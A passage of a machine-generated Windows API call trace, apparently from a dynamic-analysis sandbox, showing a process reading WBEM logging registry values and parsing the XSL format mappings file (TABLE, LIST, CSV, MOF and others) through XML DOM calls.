RegQueryValueExW (in: hKey=0x110, lpValueName="Logging Directory", lpReserved=0x0, lpType=0x0, lpData=0x3c2f70, lpcbData=0x2df448*=0x42 | out: lpType=0x0, lpData=0x3c2f70*=0x25, lpcbData=0x2df448*=0x42) returned 0x0 [0047.314] lstrlenW (lpString="%systemroot%\\system32\\wbem\\Logs\\") returned 32 [0047.314] lstrlenW (lpString="%systemroot%\\system32\\wbem\\Logs\\") returned 32 [0047.314] RegQueryValueExW (in: hKey=0x110, lpValueName="Log File Max Size", lpReserved=0x0, lpType=0x0, lpData=0x2df44c, lpcbData=0x2df448*=0x400 | out: lpType=0x0, lpData=0x2df44c*=0x36, lpcbData=0x2df448*=0xc) returned 0x0 [0047.314] _wtol (_String="65536") returned 65536 [0047.314] RegCloseKey (hKey=0x0) returned 0x6 [0047.314] CoCreateInstance (in: rclsid=0xfc6d40*(Data1=0xf6d90f12, Data2=0x9c73, Data3=0x11d3, Data4=([0]=0xb3, [1]=0x2e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0xb, [7]=0xb4)), pUnkOuter=0x0, dwClsContext=0x1, riid=0xfc6d20*(Data1=0x2933bf95, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, [1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), ppv=0x2df8dc | out: ppv=0x2df8dc*=0xa44630) returned 0x0 [0047.894] FreeThreadedDOMDocument:IXMLDOMDocument:load (in: This=0xa44630, xmlSource=0x2df860*(varType=0x8, wReserved1=0xffff, wReserved2=0x387a, wReserved3=0x7788, varVal1="C:\\Windows\\system32\\wbem\\XSL-Mappings.xml", varVal2=0x0), isSuccessful=0x2df8c4 | out: isSuccessful=0x2df8c4*=0xffff) returned 0x0 [0055.044] FreeThreadedDOMDocument:IXMLDOMDocument:get_documentElement (in: This=0xa44630, DOMElement=0x2df8d8 | out: DOMElement=0x2df8d8*=0xa48c58) returned 0x0 [0055.044] IXMLDOMElement:getElementsByTagName (in: This=0xa48c58, tagName="XSLFORMAT", resultList=0x2df8d4 | out: resultList=0x2df8d4*=0xa48e80) returned 0x0 [0055.045] IXMLDOMNodeList:get_length (in: This=0xa48e80, listLength=0x2df8bc | out: listLength=0x2df8bc*=21) returned 0x0 [0055.045] IXMLDOMNodeList:get_item (in: This=0xa48e80, index=0, listItem=0x2df8f0 | out: listItem=0x2df8f0*=0xa44b20) returned 0x0 [0055.045] IXMLDOMNode:get_text (in: This=0xa44b20, text=0x2df8f8 | out: text=0x2df8f8*="texttable.xsl") returned 0x0 [0055.045] IXMLDOMNode:get_attributes (in: This=0xa44b20, attributeMap=0x2df8ec | out: attributeMap=0x2df8ec*=0xa48cf8) returned 0x0 [0055.045] IXMLDOMNamedNodeMap:getNamedItem (in: This=0xa48cf8, name="KEYWORD", namedItem=0x2df8e8 | out: namedItem=0x2df8e8*=0xa48c98) returned 0x0 [0055.046] IXMLDOMNode:get_nodeValue (in: This=0xa48c98, value=0x2df894 | out: value=0x2df894*(varType=0x8, wReserved1=0x3c, wReserved2=0x2f40, wReserved3=0x3c, varVal1="TABLE", varVal2=0x0)) returned 0x0 [0055.046] IUnknown:Release (This=0xa44b20) returned 0x0 [0055.046] IUnknown:Release (This=0xa48cf8) returned 0x0 [0055.046] IUnknown:Release (This=0xa48c98) returned 0x0 [0055.046] IXMLDOMNodeList:get_item (in: This=0xa48e80, index=1, listItem=0x2df8f0 | out: listItem=0x2df8f0*=0xa44b20) returned 0x0 [0055.046] IXMLDOMNode:get_text (in: This=0xa44b20, text=0x2df8f8 | out: text=0x2df8f8*="textvaluelist.xsl") returned 0x0 [0055.046] IXMLDOMNode:get_attributes (in: This=0xa44b20, attributeMap=0x2df8ec | out: attributeMap=0x2df8ec*=0xa48cf8) returned 0x0 [0055.046] IXMLDOMNamedNodeMap:getNamedItem (in: This=0xa48cf8, name="KEYWORD", namedItem=0x2df8e8 | out: namedItem=0x2df8e8*=0xa48c98) returned 0x0 [0055.047] IXMLDOMNode:get_nodeValue (in: This=0xa48c98, value=0x2df894 | out: value=0x2df894*(varType=0x8, wReserved1=0x3c, wReserved2=0x2f40, wReserved3=0x3c, varVal1="VALUE", varVal2=0x0)) returned 0x0 [0055.047] SysStringLen (param_1="VALUE") returned 0x5 [0055.047] SysStringLen (param_1="TABLE") returned 0x5 [0055.047] SysStringLen (param_1="TABLE") returned 0x5 [0055.047] SysStringLen (param_1="VALUE") returned 0x5 [0055.047] IUnknown:Release (This=0xa44b20) returned 0x0 [0055.047] IUnknown:Release (This=0xa48cf8) returned 0x0 [0055.047] IUnknown:Release (This=0xa48c98) returned 0x0 [0055.047] IXMLDOMNodeList:get_item (in: This=0xa48e80, index=2, listItem=0x2df8f0 | out: listItem=0x2df8f0*=0xa44b20) returned 0x0 [0055.047] IXMLDOMNode:get_text (in: This=0xa44b20, text=0x2df8f8 | out: text=0x2df8f8*="textvaluelist.xsl") returned 0x0 [0055.047] IXMLDOMNode:get_attributes (in: This=0xa44b20, attributeMap=0x2df8ec | out: attributeMap=0x2df8ec*=0xa48cf8) returned 0x0 [0055.047] IXMLDOMNamedNodeMap:getNamedItem (in: This=0xa48cf8, name="KEYWORD", namedItem=0x2df8e8 | out: namedItem=0x2df8e8*=0xa48c98) returned 0x0 [0055.048] IXMLDOMNode:get_nodeValue (in: This=0xa48c98, value=0x2df894 | out: value=0x2df894*(varType=0x8, wReserved1=0x3c, wReserved2=0x2f40, wReserved3=0x3c, varVal1="LIST", varVal2=0x0)) returned 0x0 [0055.048] SysStringLen (param_1="LIST") returned 0x4 [0055.048] SysStringLen (param_1="TABLE") returned 0x5 [0055.048] IUnknown:Release (This=0xa44b20) returned 0x0 [0055.048] IUnknown:Release (This=0xa48cf8) returned 0x0 [0055.048] IUnknown:Release (This=0xa48c98) returned 0x0 [0055.048] IXMLDOMNodeList:get_item (in: This=0xa48e80, index=3, listItem=0x2df8f0 | out: listItem=0x2df8f0*=0xa44b20) returned 0x0 [0055.048] IXMLDOMNode:get_text (in: This=0xa44b20, text=0x2df8f8 | out: text=0x2df8f8*="rawxml.xsl") returned 0x0 [0055.048] IXMLDOMNode:get_attributes (in: This=0xa44b20, attributeMap=0x2df8ec | out: attributeMap=0x2df8ec*=0xa48cf8) returned 0x0 [0055.048] IXMLDOMNamedNodeMap:getNamedItem (in: This=0xa48cf8, name="KEYWORD", namedItem=0x2df8e8 | out: namedItem=0x2df8e8*=0xa48c98) returned 0x0 [0055.048] IXMLDOMNode:get_nodeValue (in: This=0xa48c98, value=0x2df894 | out: value=0x2df894*(varType=0x8, wReserved1=0x3c, wReserved2=0x2f40, wReserved3=0x3c, varVal1="RAWXML", varVal2=0x0)) returned 0x0 [0055.049] SysStringLen (param_1="RAWXML") returned 0x6 [0055.049] SysStringLen (param_1="TABLE") returned 0x5 [0055.049] SysStringLen (param_1="RAWXML") returned 0x6 [0055.049] SysStringLen (param_1="LIST") returned 0x4 [0055.049] SysStringLen (param_1="LIST") returned 0x4 [0055.049] SysStringLen (param_1="RAWXML") returned 0x6 [0055.049] IUnknown:Release (This=0xa44b20) returned 0x0 [0055.049] IUnknown:Release (This=0xa48cf8) returned 0x0 [0055.049] IUnknown:Release (This=0xa48c98) returned 0x0 [0055.049] IXMLDOMNodeList:get_item (in: This=0xa48e80, index=4, listItem=0x2df8f0 | out: listItem=0x2df8f0*=0xa44b20) returned 0x0 [0055.049] IXMLDOMNode:get_text (in: This=0xa44b20, text=0x2df8f8 | out: text=0x2df8f8*="htable.xsl") returned 0x0 [0055.049] IXMLDOMNode:get_attributes (in: This=0xa44b20, attributeMap=0x2df8ec | out: attributeMap=0x2df8ec*=0xa48cf8) returned 0x0 [0055.049] IXMLDOMNamedNodeMap:getNamedItem (in: This=0xa48cf8, name="KEYWORD", namedItem=0x2df8e8 | out: namedItem=0x2df8e8*=0xa48c98) returned 0x0 [0055.050] IXMLDOMNode:get_nodeValue (in: This=0xa48c98, value=0x2df894 | out: value=0x2df894*(varType=0x8, wReserved1=0x3c, wReserved2=0x2f40, wReserved3=0x3c, varVal1="HTABLE", varVal2=0x0)) returned 0x0 [0055.050] SysStringLen (param_1="HTABLE") returned 0x6 [0055.050] SysStringLen (param_1="TABLE") returned 0x5 [0055.050] SysStringLen (param_1="HTABLE") returned 0x6 [0055.050] SysStringLen (param_1="LIST") returned 0x4 [0055.050] IUnknown:Release (This=0xa44b20) returned 0x0 [0055.050] IUnknown:Release (This=0xa48cf8) returned 0x0 [0055.050] IUnknown:Release (This=0xa48c98) returned 0x0 [0055.050] IXMLDOMNodeList:get_item (in: This=0xa48e80, index=5, listItem=0x2df8f0 | out: listItem=0x2df8f0*=0xa44b20) returned 0x0 [0055.050] IXMLDOMNode:get_text (in: This=0xa44b20, text=0x2df8f8 | out: text=0x2df8f8*="hform.xsl") returned 0x0 [0055.050] IXMLDOMNode:get_attributes (in: This=0xa44b20, attributeMap=0x2df8ec | out: attributeMap=0x2df8ec*=0xa48cf8) returned 0x0 [0055.050] IXMLDOMNamedNodeMap:getNamedItem (in: This=0xa48cf8, name="KEYWORD", namedItem=0x2df8e8 | out: namedItem=0x2df8e8*=0xa48c98) returned 0x0 [0055.051] IXMLDOMNode:get_nodeValue (in: This=0xa48c98, value=0x2df894 | out: value=0x2df894*(varType=0x8, wReserved1=0x3c, wReserved2=0x2f40, wReserved3=0x3c, varVal1="HFORM", varVal2=0x0)) returned 0x0 [0055.051] SysStringLen (param_1="HFORM") returned 0x5 [0055.051] SysStringLen (param_1="TABLE") returned 0x5 [0055.051] SysStringLen (param_1="HFORM") returned 0x5 [0055.051] SysStringLen (param_1="LIST") returned 0x4 [0055.051] SysStringLen (param_1="HFORM") returned 0x5 [0055.051] SysStringLen (param_1="HTABLE") returned 0x6 [0055.051] IUnknown:Release (This=0xa44b20) returned 0x0 [0055.051] IUnknown:Release (This=0xa48cf8) returned 0x0 [0055.051] IUnknown:Release (This=0xa48c98) returned 0x0 [0055.051] IXMLDOMNodeList:get_item (in: This=0xa48e80, index=6, listItem=0x2df8f0 | out: listItem=0x2df8f0*=0xa44b20) returned 0x0 [0055.051] IXMLDOMNode:get_text (in: This=0xa44b20, text=0x2df8f8 | out: text=0x2df8f8*="xml.xsl") returned 0x0 [0055.051] IXMLDOMNode:get_attributes (in: This=0xa44b20, attributeMap=0x2df8ec | out: attributeMap=0x2df8ec*=0xa48cf8) returned 0x0 [0055.051] IXMLDOMNamedNodeMap:getNamedItem (in: This=0xa48cf8, name="KEYWORD", namedItem=0x2df8e8 | out: namedItem=0x2df8e8*=0xa48c98) returned 0x0 [0055.052] IXMLDOMNode:get_nodeValue (in: This=0xa48c98, value=0x2df894 | out: value=0x2df894*(varType=0x8, wReserved1=0x3c, wReserved2=0x2f40, wReserved3=0x3c, varVal1="XML", varVal2=0x0)) returned 0x0 [0055.052] SysStringLen (param_1="XML") returned 0x3 [0055.052] SysStringLen (param_1="TABLE") returned 0x5 [0055.052] SysStringLen (param_1="XML") returned 0x3 [0055.052] SysStringLen (param_1="VALUE") returned 0x5 [0055.052] SysStringLen (param_1="VALUE") returned 0x5 [0055.052] SysStringLen (param_1="XML") returned 0x3 [0055.052] IUnknown:Release (This=0xa44b20) returned 0x0 [0055.052] IUnknown:Release (This=0xa48cf8) returned 0x0 [0055.052] IUnknown:Release (This=0xa48c98) returned 0x0 [0055.052] IXMLDOMNodeList:get_item (in: This=0xa48e80, index=7, listItem=0x2df8f0 | out: listItem=0x2df8f0*=0xa44b20) returned 0x0 [0055.052] IXMLDOMNode:get_text (in: This=0xa44b20, text=0x2df8f8 | out: text=0x2df8f8*="mof.xsl") returned 0x0 [0055.052] IXMLDOMNode:get_attributes (in: This=0xa44b20, attributeMap=0x2df8ec | out: attributeMap=0x2df8ec*=0xa48cf8) returned 0x0 [0055.052] IXMLDOMNamedNodeMap:getNamedItem (in: This=0xa48cf8, name="KEYWORD", namedItem=0x2df8e8 | out: namedItem=0x2df8e8*=0xa48c98) returned 0x0 [0055.053] IXMLDOMNode:get_nodeValue (in: This=0xa48c98, value=0x2df894 | out: value=0x2df894*(varType=0x8, wReserved1=0x3c, wReserved2=0x2f40, wReserved3=0x3c, varVal1="MOF", varVal2=0x0)) returned 0x0 [0055.053] SysStringLen (param_1="MOF") returned 0x3 [0055.053] SysStringLen (param_1="TABLE") returned 0x5 [0055.053] SysStringLen (param_1="MOF") returned 0x3 [0055.053] SysStringLen (param_1="LIST") returned 0x4 [0055.053] SysStringLen (param_1="MOF") returned 0x3 [0055.053] SysStringLen (param_1="RAWXML") returned 0x6 [0055.053] SysStringLen (param_1="LIST") returned 0x4 [0055.053] SysStringLen (param_1="MOF") returned 0x3 [0055.053] IUnknown:Release (This=0xa44b20) returned 0x0 [0055.053] IUnknown:Release (This=0xa48cf8) returned 0x0 [0055.053] IUnknown:Release (This=0xa48c98) returned 0x0 [0055.053] IXMLDOMNodeList:get_item (in: This=0xa48e80, index=8, listItem=0x2df8f0 | out: listItem=0x2df8f0*=0xa44b20) returned 0x0 [0055.053] IXMLDOMNode:get_text (in: This=0xa44b20, text=0x2df8f8 | out: text=0x2df8f8*="csv.xsl") returned 0x0 [0055.053] IXMLDOMNode:get_attributes (in: This=0xa44b20, attributeMap=0x2df8ec | out: attributeMap=0x2df8ec*=0xa48cf8) returned 0x0 [0055.053] IXMLDOMNamedNodeMap:getNamedItem (in: This=0xa48cf8, name="KEYWORD", namedItem=0x2df8e8 | out: namedItem=0x2df8e8*=0xa48c98) returned 0x0 [0055.054] IXMLDOMNode:get_nodeValue (in: This=0xa48c98, value=0x2df894 | out: value=0x2df894*(varType=0x8, wReserved1=0x3c, wReserved2=0x2f40, wReserved3=0x3c, varVal1="CSV", varVal2=0x0)) returned 0x0 [0055.054] SysStringLen (param_1="CSV") returned 0x3 [0055.054] SysStringLen (param_1="TABLE") returned 0x5 [0055.054] SysStringLen (param_1="CSV") returned 0x3 [0055.054] SysStringLen (param_1="LIST") returned 0x4 [0055.054] SysStringLen (param_1="CSV") returned 0x3 [0055.054] SysStringLen (param_1="HTABLE") returned 0x6 [0055.054] SysStringLen (param_1="CSV") returned 0x3 [0055.054] SysStringLen (param_1="HFORM") returned 0x5 [0055.054] IUnknown:Release (This=0xa44b20) returned 0x0 [0055.054] IUnknown:Release (This=0xa48cf8) returned 0x0 [0055.054] IUnknown:Release (This=0xa48c98) returned 0x0 [0055.054] IXMLDOMNodeList:get_item (in: This=0xa48e80, index=9, listItem=0x2df8f0 | out: listItem=0x2df8f0*=0xa44b20) returned 0x0 [0055.054] IXMLDOMNode:get_text (in: This=0xa44b20, text=0x2df8f8 | out: text=0x2df8f8*="texttable.xsl") returned 0x0 [0055.054] IXMLDOMNode:get_attributes (in: This=0xa44b20, attributeMap=0x2df8ec | out: attributeMap=0x2df8ec*=0xa48cf8) returned 0x0 [0055.055] IXMLDOMNamedNodeMap:getNamedItem (in: This=0xa48cf8, name="KEYWORD", namedItem=0x2df8e8 | out: namedItem=0x2df8e8*=0xa48c98) returned 0x0 [0055.055] IXMLDOMNode:get_nodeValue (in: This=0xa48c98, value=0x2df894 | out: value=0x2df894*(varType=0x8, wReserved1=0x3c, wReserved2=0x2f40, wReserved3=0x3c, varVal1="texttablewsys.xsl", varVal2=0x0)) returned 0x0 [0055.055] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0055.055] SysStringLen (param_1="TABLE") returned 0x5 [0055.055] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0055.055] SysStringLen (param_1="VALUE") returned 0x5 [0055.055] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0055.055] SysStringLen (param_1="XML") returned 0x3 [0055.055] SysStringLen (param_1="XML") returned 0x3 [0055.055] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0055.055] IUnknown:Release (This=0xa44b20) returned 0x0 [0055.055] IUnknown:Release (This=0xa48cf8) returned 0x0 [0055.056] IUnknown:Release (This=0xa48c98) returned 0x0 [0055.056] IXMLDOMNodeList:get_item (in: This=0xa48e80, index=10, listItem=0x2df8f0 | out: listItem=0x2df8f0*=0xa44b20) returned 0x0 [0055.056] IXMLDOMNode:get_text (in: This=0xa44b20, text=0x2df8f8 | out: text=0x2df8f8*="texttable.xsl") returned 0x0 [0055.056] IXMLDOMNode:get_attributes (in: This=0xa44b20, attributeMap=0x2df8ec | out: attributeMap=0x2df8ec*=0xa48cf8) returned 0x0 [0055.056] IXMLDOMNamedNodeMap:getNamedItem (in: This=0xa48cf8, name="KEYWORD", namedItem=0x2df8e8 | out: namedItem=0x2df8e8*=0xa48c98) returned 0x0 [0055.056] IXMLDOMNode:get_nodeValue (in: This=0xa48c98, value=0x2df894 | out: value=0x2df894*(varType=0x8, wReserved1=0x3c, wReserved2=0x2f40, wReserved3=0x3c, varVal1="texttablewsys", varVal2=0x0)) returned 0x0 [0055.056] SysStringLen (param_1="texttablewsys") returned 0xd [0055.056] SysStringLen (param_1="TABLE") returned 0x5 [0055.056] SysStringLen (param_1="texttablewsys") returned 0xd [0055.056] SysStringLen (param_1="XML") returned 0x3 [0055.056] SysStringLen (param_1="texttablewsys") returned 0xd [0055.056] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0055.056] SysStringLen (param_1="XML") returned 0x3 [0055.056] SysStringLen (param_1="texttablewsys") returned 0xd [0055.057] IUnknown:Release (This=0xa44b20) returned 0x0 [0055.057] IUnknown:Release (This=0xa48cf8) returned 0x0 [0055.057] IUnknown:Release (This=0xa48c98) returned 0x0 [0055.057] IXMLDOMNodeList:get_item (in: This=0xa48e80, index=11, listItem=0x2df8f0 | out: listItem=0x2df8f0*=0xa44b20) returned 0x0 [0055.057] IXMLDOMNode:get_text (in: This=0xa44b20, text=0x2df8f8 | out: text=0x2df8f8*="texttable.xsl") returned 0x0 [0055.057] IXMLDOMNode:get_attributes (in: This=0xa44b20, attributeMap=0x2df8ec | out: attributeMap=0x2df8ec*=0xa48cf8) returned 0x0 [0055.057] IXMLDOMNamedNodeMap:getNamedItem (in: This=0xa48cf8, name="KEYWORD", namedItem=0x2df8e8 | out: namedItem=0x2df8e8*=0xa48c98) returned 0x0 [0055.057] IXMLDOMNode:get_nodeValue (in: This=0xa48c98, value=0x2df894 | out: value=0x2df894*(varType=0x8, wReserved1=0x3c, wReserved2=0x2f40, wReserved3=0x3c, varVal1="wmiclitableformat.xsl", varVal2=0x0)) returned 0x0 [0055.057] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0055.057] SysStringLen (param_1="TABLE") returned 0x5 [0055.057] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0055.057] SysStringLen (param_1="XML") returned 0x3 [0055.057] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0055.057] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0055.057] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0055.057] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0055.058] IUnknown:Release (This=0xa44b20) returned 0x0 [0055.058] IUnknown:Release (This=0xa48cf8) returned 0x0 [0055.058] IUnknown:Release (This=0xa48c98) returned 0x0 [0055.058] IXMLDOMNodeList:get_item (in: This=0xa48e80, index=12, listItem=0x2df8f0 | out: listItem=0x2df8f0*=0xa44b20) returned 0x0 [0055.058] IXMLDOMNode:get_text (in: This=0xa44b20, text=0x2df8f8 | out: text=0x2df8f8*="texttable.xsl") returned 0x0 [0055.058] IXMLDOMNode:get_attributes (in: This=0xa44b20, attributeMap=0x2df8ec | out: attributeMap=0x2df8ec*=0xa48cf8) returned 0x0 [0055.058] IXMLDOMNamedNodeMap:getNamedItem (in: This=0xa48cf8, name="KEYWORD", namedItem=0x2df8e8 | out: namedItem=0x2df8e8*=0xa48c98) returned 0x0 [0055.058] IXMLDOMNode:get_nodeValue (in: This=0xa48c98, value=0x2df894 | out: value=0x2df894*(varType=0x8, wReserved1=0x3c, wReserved2=0x2f40, wReserved3=0x3c, varVal1="wmiclitableformat", varVal2=0x0)) returned 0x0 [0055.058] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0055.058] SysStringLen (param_1="TABLE") returned 0x5 [0055.058] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0055.058] SysStringLen (param_1="XML") returned 0x3 [0055.059] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0055.059] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0055.059] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0055.059] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0055.059] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0055.059] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0055.059] IUnknown:Release (This=0xa44b20) returned 0x0 [0055.059] IUnknown:Release (This=0xa48cf8) returned 0x0 [0055.059] IUnknown:Release (This=0xa48c98) returned 0x0 [0055.059] IXMLDOMNodeList:get_item (in: This=0xa48e80, index=13, listItem=0x2df8f0 | out: listItem=0x2df8f0*=0xa44b20) returned 0x0 [0055.059] IXMLDOMNode:get_text (in: This=0xa44b20, text=0x2df8f8 | out: text=0x2df8f8*="texttable.xsl") returned 0x0 [0055.059] IXMLDOMNode:get_attributes (in: This=0xa44b20, attributeMap=0x2df8ec | out: attributeMap=0x2df8ec*=0xa48cf8) returned 0x0 [0055.059] IXMLDOMNamedNodeMap:getNamedItem (in: This=0xa48cf8, name="KEYWORD", namedItem=0x2df8e8 | out: namedItem=0x2df8e8*=0xa48c98) returned 0x0 [0055.059] IXMLDOMNode:get_nodeValue (in: This=0xa48c98, value=0x2df894 | out: value=0x2df894*(varType=0x8, wReserved1=0x3c, wReserved2=0x2f40, wReserved3=0x3c, varVal1="wmiclitableformatnosys.xsl", varVal2=0x0)) returned 0x0 [0055.060] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0055.060] SysStringLen (param_1="TABLE") returned 0x5 [0055.060] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0055.060] SysStringLen (param_1="XML") returned 0x3 [0055.060] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0055.060] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0055.060] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0055.060] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0055.060] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0055.060] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0055.060] IUnknown:Release (This=0xa44b20) returned 0x0 [0055.060] IUnknown:Release (This=0xa48cf8) returned 0x0 [0055.060] IUnknown:Release (This=0xa48c98) returned 0x0 [0055.060] IXMLDOMNodeList:get_item (in: This=0xa48e80, index=14, listItem=0x2df8f0 | out: listItem=0x2df8f0*=0xa44b20) returned 0x0 [0055.060] IXMLDOMNode:get_text (in: This=0xa44b20, text=0x2df8f8 | out: text=0x2df8f8*="texttable.xsl") returned 0x0 [0055.060] IXMLDOMNode:get_attributes (in: This=0xa44b20, attributeMap=0x2df8ec | out: attributeMap=0x2df8ec*=0xa48cf8) returned 0x0 [0055.060] IXMLDOMNamedNodeMap:getNamedItem (in: This=0xa48cf8, name="KEYWORD", namedItem=0x2df8e8 | out: namedItem=0x2df8e8*=0xa48c98) returned 0x0 [0055.061] IXMLDOMNode:get_nodeValue (in: This=0xa48c98, value=0x2df894 | out: value=0x2df894*(varType=0x8, wReserved1=0x3c, wReserved2=0x2f40, wReserved3=0x3c, varVal1="wmiclitableformatnosys", varVal2=0x0)) returned 0x0 [0055.061] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0055.061] SysStringLen (param_1="TABLE") returned 0x5 [0055.061] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0055.061] SysStringLen (param_1="XML") returned 0x3 [0055.061] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0055.061] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0055.061] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0055.061] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0055.061] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0055.061] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0055.061] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0055.061] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0055.061] IUnknown:Release (This=0xa44b20) returned 0x0 [0055.061] IUnknown:Release (This=0xa48cf8) returned 0x0 [0055.061] IUnknown:Release (This=0xa48c98) returned 0x0 [0055.061] IXMLDOMNodeList:get_item (in: This=0xa48e80, index=15, listItem=0x2df8f0 | out: listItem=0x2df8f0*=0xa44b20) returned 0x0 [0055.061] IXMLDOMNode:get_text (in: This=0xa44b20, text=0x2df8f8 | out: text=0x2df8f8*="htable.xsl") returned 0x0 [0055.061] IXMLDOMNode:get_attributes (in: This=0xa44b20, attributeMap=0x2df8ec | out: attributeMap=0x2df8ec*=0xa48cf8) returned 0x0 [0055.062] IXMLDOMNamedNodeMap:getNamedItem (in: This=0xa48cf8, name="KEYWORD", namedItem=0x2df8e8 | out: namedItem=0x2df8e8*=0xa48c98) returned 0x0 [0055.062] IXMLDOMNode:get_nodeValue (in: This=0xa48c98, value=0x2df894 | out: value=0x2df894*(varType=0x8, wReserved1=0x3c, wReserved2=0x2f40, wReserved3=0x3c, varVal1="htable-sortby.xsl", varVal2=0x0)) returned 0x0 [0055.062] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0055.062] SysStringLen (param_1="TABLE") returned 0x5 [0055.062] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0055.062] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0055.062] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0055.062] SysStringLen (param_1="XML") returned 0x3 [0055.062] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0055.062] SysStringLen (param_1="texttablewsys") returned 0xd [0055.062] SysStringLen (param_1="XML") returned 0x3 [0055.062] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0055.062] IUnknown:Release (This=0xa44b20) returned 0x0 [0055.062] IUnknown:Release (This=0xa48cf8) returned 0x0 [0055.062] IUnknown:Release (This=0xa48c98) returned 0x0 [0055.062] IXMLDOMNodeList:get_item (in: This=0xa48e80, index=16, listItem=0x2df8f0 | out: listItem=0x2df8f0*=0xa44b20) returned 0x0 [0055.063] IXMLDOMNode:get_text (in: This=0xa44b20, text=0x2df8f8 | out: text=0x2df8f8*="htable.xsl") returned 0x0 [0055.063] IXMLDOMNode:get_attributes (in: This=0xa44b20, attributeMap=0x2df8ec | out: attributeMap=0x2df8ec*=0xa48cf8) returned 0x0 [0055.063] IXMLDOMNamedNodeMap:getNamedItem (in: This=0xa48cf8, name="KEYWORD", namedItem=0x2df8e8 | out: namedItem=0x2df8e8*=0xa48c98) returned 0x0 [0055.063] IXMLDOMNode:get_nodeValue (in: This=0xa48c98, value=0x2df894 | out: value=0x2df894*(varType=0x8, wReserved1=0x3c, wReserved2=0x2f40, wReserved3=0x3c, varVal1="htable-sortby", varVal2=0x0)) returned 0x0 [0055.063] SysStringLen (param_1="htable-sortby") returned 0xd [0055.063] SysStringLen (param_1="TABLE") returned 0x5 [0055.063] SysStringLen (param_1="htable-sortby") returned 0xd [0055.063] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0055.063] SysStringLen (param_1="htable-sortby") returned 0xd [0055.063] SysStringLen (param_1="XML") returned 0x3 [0055.063] SysStringLen (param_1="htable-sortby") returned 0xd [0055.063] SysStringLen (param_1="texttablewsys") returned 0xd [0055.063] SysStringLen (param_1="htable-sortby") returned 0xd [0055.063] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0055.063] SysStringLen (param_1="XML") returned 0x3 [0055.063] SysStringLen (param_1="htable-sortby") returned 0xd [0055.064] IUnknown:Release (This=0xa44b20) returned 0x0 [0055.064] IUnknown:Release (This=0xa48cf8) returned 0x0 [0055.064] IUnknown:Release (This=0xa48c98) returned 0x0 [0055.064] IXMLDOMNodeList:get_item (in: This=0xa48e80, index=17, listItem=0x2df8f0 | out: listItem=0x2df8f0*=0xa44b20) returned 0x0 [0055.064] IXMLDOMNode:get_text (in: This=0xa44b20, text=0x2df8f8 | out: text=0x2df8f8*="mof.xsl") returned 0x0 [0055.064] IXMLDOMNode:get_attributes (in: This=0xa44b20, attributeMap=0x2df8ec | out: attributeMap=0x2df8ec*=0xa48cf8) returned 0x0 [0055.064] IXMLDOMNamedNodeMap:getNamedItem (in: This=0xa48cf8, name="KEYWORD", namedItem=0x2df8e8 | out: namedItem=0x2df8e8*=0xa48c98) returned 0x0 [0055.064] IXMLDOMNode:get_nodeValue (in: This=0xa48c98, value=0x2df894 | out: value=0x2df894*(varType=0x8, wReserved1=0x3c, wReserved2=0x2f40, wReserved3=0x3c, varVal1="wmiclimofformat.xsl", varVal2=0x0)) returned 0x0 [0055.064] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0055.064] SysStringLen (param_1="TABLE") returned 0x5 [0055.064] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0055.064] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0055.064] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0055.064] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0055.064] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0055.064] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0055.064] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0055.064] SysStringLen 